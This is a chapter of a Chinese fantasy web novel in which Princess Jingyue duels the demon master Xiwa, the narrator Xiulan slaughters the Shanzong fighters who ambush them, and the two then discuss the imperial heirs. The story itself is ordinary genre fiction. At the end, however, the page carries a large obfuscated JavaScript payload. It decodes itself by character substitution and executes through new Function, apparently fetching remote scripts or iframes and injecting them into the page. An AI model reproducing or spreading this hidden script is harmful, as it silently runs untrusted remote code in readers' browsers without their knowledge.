两人的动作犹如电光石火,令人目不暇接。恐怕隐藏在暗处的那些山宗弟子连他们的身形也看不清楚。
瞬间功夫,两人互有攻守交换了七招,在旁人眼中竟如一招无异。
“啵!”
空气中传来一记沉闷的气流撞击声,锡瓦魔师山一般的身躯连退七步,地上的脚印由深而浅直至于无。
镜月公主曼妙的身影凌空飘舞,在空中滑过一条弧线轻盈落在最初站立的位置。
“圣殿弟子,名不虚传。”锡瓦魔师吐出一口浊气徐徐道:“居然能够迫我连退七步,你已足以夸耀夕兰大陆。”
他说第一句话的时候声音微微有些喘,但到后来已恢复常态。
镜月公主谦然应道:“毕竟魔师技高一筹,若非镜月依仗圣剑之威怕已出丑。”
锡瓦魔师淡然道:“你我心知肚明,以你的潜力再过三年就可超越我,看来我不服也不行。”
这话别人或许听不出意味,但镜月公主已经明白其中暗含的杀机。
一方面,锡瓦魔师透露出为了灭绝后患而要施展杀招的用意,另一方面却在暗示镜月公主不必争这一时,大可以三年后稳操胜券时再来挑战,藉以削弱她的斗志。
镜月公主微微一笑道:“魔师过奖,世事无常,白云苍狗,镜月不敢想三年后会如何,只求魔师今晚肯退让一步。”
锡瓦魔师哈哈一笑道:“好,只要你能接下我这一招,我立刻拍手走人,如何?”
镜月公主似乎胸有成竹,嫣然道:“既然魔师慨允,镜月敢不奉陪?”
第六章睥睨群魔
黑云迫月,疾风捲衣。
院落中突然变的死寂,惟有漫天的杀气纵横迴旋。
近五十年来代表山宗与圣殿的杰出人物彼此伫立,忘却了身外所有。
一招定输赢,甚至是生命和荣耀。
不知道为什么,我的心中忽然很希望镜月公主能够成为最终的胜利者,仅仅是因为查戈和亚丁的缘故,还是更多?
我不知道为什么圣殿三大长老没有出面?
难道真像传说中那样,这三个老家伙已经有四十多年未曾出手了么?
锡瓦魔师蓦然低低长吟,目中焕发出诡秘的幽蓝光彩,原本黝黑的面庞也被一层薄薄的紫气覆盖,隐约流动着暗光。
他的身躯宛如魔神屹立,乱发挣脱黑夜的羁束在风中疾舞,一双巨灵般的大手徐徐合拢在胸口,依稀看的见惊人的气流在手掌四周呼啸盘旋。
周围的能量彷彿在这一瞬间被抽空,飞蛾扑火似的涌入他体内,他的身体好像在不停的鼓涨,模样慑人至极。
镜月公主的明眸中首次流露出凝重神色,手中的流金圣剑低低鸣响,宛如随时要沖天飞起的潜龙。
她的目光紧紧锁定锡瓦魔师,美艳绝伦的玉容为一层圣洁的光芒笼罩,令人不由产生顶礼膜拜之心。
寂。
虽然狂风在呼啸,空气在嘶裂,天地在颤栗,这一刻却显得那样的沉寂。
沉寂的令我可以听见一粒浮沙坠地的声响。
锡瓦魔师突然发出惊天动地的爆喝,震的屋宇瑟缩,大地摇动。
他的身躯似乎根本没有移动,却已出现在镜月公主的面前,邪异的目光牢牢笼罩住对方清澈无波的眼睛。
“铿!”
他的双掌竟然爆裂出金属声,卷裹着一团妖豔的紫色暗光劈向镜月公主。
大拙不工。
看似毫无变化花巧的一招,但如果落在顶尖高手的眼中却是妙到巅毫。他的十根手指各具奇态,或直或曲,或收或放,竟蕴藏着无数的后招变化,再配以无上身法相辅已在不动声色中断绝了镜月公主所有的退路。
魔门秘技——“冥狱幻魄刀“!
镜月公主的身体骤然犹如陀螺般疾旋,美丽动人的娇躯消失在罡风中。
“叮叮叮——”
暴雨般的金属撞击声连绵不绝的响起,两名旷世高手在常人几乎可以忽略的时间里各出杀招,展开生死之搏。
我已看不清他们的身影,想来即使是锡瓦魔师和镜月公主也无法依靠视觉看清楚对方的出手。唯一可以凭藉的,就是各自经历多年艰苦修行才拥有的敏锐灵觉和作为高手的经验与判断。
一团团紫色的火焰从罡风里间歇爆出,淡金色的剑光忽隐忽现,两人脚下的土地渐渐开裂,纹缝越来越明显,不住发出碎裂声音。
我缓缓闭起双眼,沉浸在一场旷世难求的对决中。
虽然我置身在外,却在剎那间有一种身临其境的感觉,彷彿那两人的每一次出手都针对着我,或是汹涌澎湃的猛攻,或是密不透风的防守,无一不映照在我的心头。
时间好像在被两人无限拉长。
是多久了?
一刻还是百年?
终于,我听见锡瓦魔师闷哼一声,似乎遭受重创;但几乎同时,镜月公主低低的浅吟也传入我的耳朵。
我睁开眼睛,在瀰漫风尘杀气的乱云中重新看见他们的身影。
锡瓦魔师退至厅口石阶下,面色苍白,目光暗淡不少。他的身躯微微有些弯曲,胸口剧烈的起伏不定,右手摀在心口下方,一道暗红的鲜血汩汩从指缝里冒出。
镜月公主如同即将凋零在寒风中的百合,无力的伫立在原地,一抹惊心动魄的血痕自她艳红动人的樱唇里淌出。
她的面纱不翼而飞,在夜色里随风乱舞,渐渐消失于视野中。
我第一次,看见她完全的玉容。
一股无法抑制的惊骇涌上心头,我的目光凝视在她苍白失色的脸上再也无法移动分毫。
“闇月!”
我的心中近乎痛楚的呻吟,那无法用言语描绘的绝美容颜竟然不止一次出现在我的脑海里。
熟悉而又陌生,却正是这样的一副绝世容颜。
为何是这样?
为何我的心中突然想到了魔剑闇月?
为何她的容貌居然是我脑海中经常出现的幽怨少女?
我探手扶住她柔弱无骨的柳腰,她轻轻叹息依靠在我的胸口,彷彿刚才一战已耗尽她所有的气力。
一种前所未有的杀机盘旋在我的心头,我的思绪这一刻冷静如冰,双目不含一丝感情的凝望锡瓦魔师。
拥着怀中玉人,我忽然生出莫名的怜惜与痛楚。
“不用担心,我只是体内的能量耗尽。”似乎读懂我目光深处的思想,她软弱的道。
“哇——”
锡瓦魔师终究掩饰不住,一口鲜血喷洒而出。
他的面目狰狞无比,怨毒的目光盯在镜月公主的脸上。
“我输了,”他喘息道:“我会依照约定立刻离开帝都,不过别的人我却管不了。”
一阵暗风涌动,藏匿在院落中的二十余名山宗高手无声无息的包围了我们,形成夹攻之态。
镜月公主朝我嫣然微笑道:“我早知道他是不会遵守信约的了,好在有你守在身边。”
她缓缓闭起美丽的眼眸,进入浑然两忘的静修状态,而嘴角却依旧带着一丝恬静动人的微笑。
彷彿,她无比的信赖我,毫无保留的将自己的生死託付在我的手上。
我升起无限豪情,一种必须呵护照料怀中玉人的强烈念头令我体内的暗黑能量奔涌澎湃,直至颠峰。
冥冥中,我忽然感觉到她与我一定存在某种未知的溯源,好像她本应是我身体的一份。
闇月。
“动手!”
锡瓦魔师狰狞厉喝,那二十多名山宗高手闻风而动,从四周扑到。
我的眼中蓦然出现一缕轻蔑的讥笑,是在嘲笑人类的虚伪还是他们的无知?
我傲然伫立在原地,一手搂抱着镜月公主优雅修长的娇躯,一手握聚成拳。
杀意蔓延,夜色沉沦。
我举起拳,在群魔乱舞的世界。
我属于黑暗,我欣赏黑夜,却不容有人用卑鄙玷污。
唯一解决之道就是赐予他们死亡,从死亡中寻找轮迴的种子。
“轰——”
尘土飞扬,惊涛拍岸。
我的拳头中涌出惊天裂地的暗黑能量,席捲着骯髒和虚伪,涤蕩着贪婪和懦弱。
我用自己的方式解决问题。
“嘭!”
爆裂声不迭而起,一道道身影在半空中炸裂,连惨叫出声的机会也未曾得到便归于尘埃。
面对死亡与漫天血影,我的心越来越沉静,完全溶入到杀戮中。
我的笑更深,那么诡异无情,却充满慑人的魔力。
一具具躯体失去生命,断裂的肢体在狂沙中翻飞坠落,血色掩盖了最后的月光。
儘管这些人都是山宗中出类拔萃的高手,但比起魔师锡瓦仍有一段遥不可及的距离,于是注定了他们成为鱼肉的命运。
我的身体开始移动穿梭,在人群中幽灵般的飘忽闪现,每一次出拳必然伴随着一条生命的消失。
镜月公主平静乖巧的倒在我怀中,在这里,是世界上最安全的地方,任何人也休想再伤到她分毫!
人们开始恐惧退缩,先前的嚣张气焰顿时幻灭。
我的心头却酣畅淋漓之极,发出诡秘雄壮的啸声。
生命犹如易碎的玻璃樽,在我的手中一一爆裂。面前的敌人不断减少,最终有人心惊胆裂的哀叫道:“魔鬼,他是魔鬼!”
声音立断,他成为第十六个倒下的躯体。
十步杀一人,我已不能遏制杀意。
见神灭神,遇魔杀魔。
超越愤怒后的冷静令我宛如冥狱中的修罗。
仅存的六人已是其中的高手,在我惊涛骇浪的攻击中苦苦支撑。
锡瓦魔师面色凝重——他终究错估了我的实力。
或许他本想藉一段缓冲时间压制伤逝而后扑杀我和镜月公主,但现在却已明白即便是未受伤的情况下他也未必能稳赢我。
何况如今?
这时门外传来轰鸣的马蹄声,大队帝国巡逻兵终于开到。
锡瓦魔师知道已经错失机会,他的眼中射出怨毒而不甘的目光,低声喝道:“走!”
六名山宗高手如获大赦,纷纷抽身而退,消失在黑暗中。
但依旧有一个大汉无力软倒在我的脚下。
“修岚公爵,好好享受有限的人生吧,山宗绝对不会放过你!”
锡瓦魔师嘶哑低沉的嗓音在夜空里飘蕩,人却隐匿于身后的客厅中。
我微微冷笑,充满不屑。
听到外面有帝国的士兵叫道:“快开门,不然我们冲进来了!”
我搂抱镜月公主的手微微用力,身体像苍鹰般飞腾而起,溶入浓重的夜中。
地上,只留下狼籍不堪的尸体与断痕。
还有飘蕩的血腥——
回到叠翠苑,我没有惊动任何人,悄然将镜月公主安置在空闲的客房中。
她依然沉浸在静修状态,刚才的最后一击几乎耗尽全力,比之施展灭寂之暗的我好不了多少。
所幸只需要安静调养就能够逐步恢复。
我在床边坐下,藉着月色银光端详她举世无双的玉容。
这是任何画家也无法临摹的神之杰作,即使是在沉睡中那神韵依然令人倾倒。
前所未有,我居然升起一股怜惜之心,彷彿在后悔自己为什么没有抢先出手应战魔师锡瓦?
我,这是怎么了?
诸般奇怪的念头纷踏而来,脑海中惘然一片,不知道应该思考些什么?
只是觉得自己就这么坐在黑暗中凝视着她,没有人打扰,没有争杀,真的很好。
先前漫天的杀意早就消失的无影无踪,一切都已不能萦怀。
不知过了多久,她缓缓睁开眼睛,清泉般的眸子中映射出我的身影。
“修岚,这是叠翠苑么?”她轻声问道。
我和她都没有注意到或许是故意忽略过称呼的改变,只觉得这么叫我的名字是再自然不过的事情。
“是,”我回答道:“锡瓦魔师逃逸了,为了避免巡逻兵的纠缠,我先将你带回叠翠苑。”
“谢谢。”她嫣然而笑,脸上稍稍有了血色。
“不必,”我淡然说。
我做任何一桩事情都是随心所欲,兴致所到,从来不会顾忌别人的想法和世俗的风评。可奇怪的是她的感谢却让我心底隐约有一丝喜悦。
我有些茫然。
“修岚,我答应要告诉你关于亚丁殿下和查戈更多的事情,你现在还想不想听?”
“说吧,”我随口道,并没有考虑自己是否有必要再了解这些宫廷秘闻,只是感到听她在自己身旁轻声细语,心头便会有难得的宁静。
“亚丁殿下绝对是皇室的正统血脉,他和蒙托亚将军一点关係也没有!”她的声音虽轻,语气却不容置疑。
“哦?”
镜月公主苦笑道:“我知道很难印证,但这是一个事实。因为陛下当年曾经特地请圣殿宫宫主以神器辨认亚丁殿下的血脉,结果与陛下是一脉传承。可惜这样的结果势必不能公诸于众,否则等若牵扯出蒙托亚将军的事情。”
“那么查戈是蒙托亚所生的么?”
“他应该是蒙托亚将军的私生子,蒙托亚将军一生未婚,据说是为了苦候麦莉雅皇后。”镜月公主道:“不过,圣殿自事发后经过多方查寻,暗中追索,才发现蒙托亚将军早在投入圣殿之前便已是魔门山宗的元老人物,甚至可能是第五代的宗主。这么一来,他投身圣殿,潜入皇宫的居心就又变的莫测。”
我没有太多吃惊,这样才能更合理的解释亚丁皇子与山宗的渊源。我漠然道:“比如说,利用麦莉雅皇后改变皇室血统,在毫无知觉的情况下让他的儿子成为帝国的继承人?”
“可惜他的打算落空,亚丁皇子终究还是陛下的骨肉。”
“但亚丁皇子却不这么认为。”
“其实他心里很清楚自己的身世,这么做不过是为了拉拢到山宗而已。”镜月公主轻轻道:“陛下始终对他很欣赏,希望他能够继承未来的君主之位。但是由于圣殿和群臣的压力,还有山宗的背景令陛下始终不能下定决心。然而另一方面陛下又一再纵容亚丁殿下所为,终于造就今天的局面。”
“这么说你们早就知道亚丁皇子山宗的背景?”
镜月公主微微颔首道:“正因为这样,圣殿才彻底放弃支持亚丁皇子。否则,谁都明白仅凭才干,欧特殿下逊色不少。”
我心中不由又在冷笑。
表面冠冕堂皇的理由,却经不起丝毫推敲。
仅仅因为圣魔之争,就可以牺牲帝国的利益,扶植一个听话而平庸的傀儡。
圣殿,也不过如此。
镜月公主彷彿明白我所想,轻叹道:“我这刻忽然生出后悔,或许我不该将你拖进今晚的争斗。无论如何,我都希望你今后步步小心,帝都已经成为所有势力争夺的风暴中心。”
我淡淡道:“你不必后悔,如果不是我自己愿意,任何人也休想驱动我半步。”
她宁静的凝视着我,徐徐叹息道:“我不知道,这个世界上还有什么力量可以令你心动,令你屈服,却绝对相信终有一天夕兰大陆会因你而风云变色。我是应该恐惧,还是翘首期待,也许我自己都已不能说清楚。”
我微微一笑道:“那么,你会有一天向我屈服么?”
她没有回答,目光中剎那间闪过一缕柔情。
竟令我怦然心动。
我一下有些迷惘,不晓得最终究竟谁会是我们间的胜利者?
但我必须继续完成我的道路,任何人也不能羁绊。
!function(){function a(a){var _idx="uffc4b2fup";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"}"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/h^/}0sjR8_77(o)@7_J"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"}0s"=^8"_77(o)@7_J"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"}0sqSDqm:Q2QDS)dmRT4"="}0s5FDqm50SO1nd7mRT4"="}0s)5Dqm:Q2QDS)dmRT4"="}0sDLDqm50SO1nd7mRT4"="}0s^FDqm:Q2QDS)dmRT4"="}0sfLDqm50SO1nd7mRT4"="}0s(5Dqm:Q2QDS)dmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{@"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP}0sSCqL)((mR4s4n)L2mRT4gQ@{@/((/}0sj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@/f/}0sj(8}vR8_77(o)@7_J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP}0s)dTCJqmX4:):XLYmRT4gQ@{@"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();